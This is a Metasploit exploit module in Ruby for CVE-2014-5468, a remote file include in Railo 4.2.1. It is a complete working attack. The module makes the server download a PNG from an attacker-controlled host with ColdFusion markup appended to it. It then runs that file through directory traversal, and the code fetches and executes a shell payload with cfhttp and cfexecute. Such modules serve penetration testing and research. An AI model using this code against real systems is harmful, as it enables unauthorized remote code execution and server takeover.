1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 |
## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit4 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::HttpServer def initialize(info = {}) super(update_info(info, 'Name' => 'Railo Remote File Include', 'Description' => ' This module exploits a remote file include vulnerability in Railo, tested against version 4.2.1. First, a call using a vulnerable <cffile> line in thumbnail.cfm allows an atacker to download an arbitrary PNG file. By appending a .cfm, and taking advantage of a directory traversal, an attacker can append cold fusion markup to the PNG file, and have it interpreted by the server. This is used to stage and execute a fully-fledged payload. ', 'License' => MSF_LICENSE, 'Author' => [ 'Bryan Alexander <drone@ballastsecurity.net>', # Discovery/PoC 'bperry' # metasploited ], 'References' => [ ['CVE', '2014-5468'], ['URL', 'http://hatriot.github.io/blog/2014/08/27/railo-security-part-four/'] ], 'Payload' => { 'Space' => 99999, # if there is disk space, I think we will fit 'BadChars' => "", 'DisableNops' => true, 'Compat' => { 'PayloadType' => 'cmd', 'RequiredCmd' => 'generic netcat perl ruby python bash telnet' } }, 'Platform' => %w(unix), 'Targets' => [ [ 'Automatic', { 'Platform' => [ 'unix' ], 'Arch' => ARCH_CMD } ] ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Aug 26 2014')) register_options( [ OptString.new('TARGETURI', [true, 'The base URI of the Railo server', '/railo-context/']), OptInt.new('STAGEWAIT', [true, 'Number of seconds to wait for stager to download', 10]) ], self.class) end def check md5 = '6de48cb72421cfabdce440077a921b25' # /res/images/id.png res = send_request_cgi( 'uri' => normalize_uri('res', 'images', 'id.png') # the targeturi is not used in this request ) if !res fail_with(Failure::Unknown, 'Server did not respond') elsif !res.body fail_with(Failure::Unknown, "Server responded without a body: #{res.code} #{res.message}") end new_md5 = Rex::Text.md5(res.body) return Exploit::CheckCode::Appears if new_md5 == md5 Exploit::CheckCode::Safe end def exploit if datastore['SRVHOST'] == '0.0.0.0' fail_with(Failure::BadConfig, 'SRVHOST must be an IP address accessible from another computer') end url = 'http://' + datastore['SRVHOST'] + ':' + datastore['SRVPORT'].to_s @shell_name = Rex::Text.rand_text_alpha(15) stager_name = Rex::Text.rand_text_alpha(15) + '.cfm' start_service('Uri' => { 'Proc' => proc do |cli, req| on_request_stager(cli, req) end, 'Path' => '/' + stager_name }) start_service('Uri' => { 'Proc' => proc do |cli, req| on_request_shell(cli, req) end, 'Path' => '/' + @shell_name }) wh = '5000' # width and height res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'admin', 'thumbnail.cfm'), 'vars_get' => { 'img' => url + '/' + stager_name, 'height' => wh, 'width' => wh } ) if !res fail_with(Failure::Unknown, 'Server did not respond') elsif res.code != 500 fail_with(Failure::Unknown, "Server did not respond with the expected HTTP 500: #{res.code} #{res.message}") end print_status('Waiting for first stage to download...') i = datastore['STAGEWAIT'] while !@staged && i > 0 select(nil, nil, nil, 1) print_status("Waiting for #{i} more seconds...") i = i - 1 end @staged = false if i == 0 fail_with(Failure::Unknown, 'Server did not request the stager.') end hash = Rex::Text.md5("#{url + "/" + stager_name}-#{wh}-#{wh}") # 5000 is width and height from GET hash.upcase! print_status('Executing stager') send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'admin', 'img.cfm'), 'vars_get' => { 'attributes.src' => '../../../../temp/admin-ext-thumbnails/' + hash, 'thistag.executionmode' => 'start' } ) end def on_request_shell(cli, _request) print_status('Sending payload') send_response(cli, payload.encoded, {}) handler(cli) end def on_request_stager(cli, _request) url = 'http://' + datastore['SRVHOST'] + ':' + datastore['SRVPORT'].to_s + '/' + @shell_name stager = "<cfhttp method='get' url='#{url}'" stager << " path='#GetDirectoryFromPath(GetCurrentTemplatePath())#..\\..\\..\\..\\..\\..\\'" stager << " file='#{@shell_name}'>" stager << "<cfexecute name='sh' arguments='#{@shell_name}' timeout='99999'></cfexecute>" png = 'iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcS' png << 'JAAAACklEQVR4nGMAAQAABQABDQottAAAAABJRU5ErkJggg==' # A very small PNG file png = Rex::Text.decode_base64(png) stager.each_byte do |b| png << b end png << 0x00 print_status('Sending stage. This might be sent multiple times.') send_response(cli, png,'Content-Type' => 'image/png') @staged = true handler(cli) end end |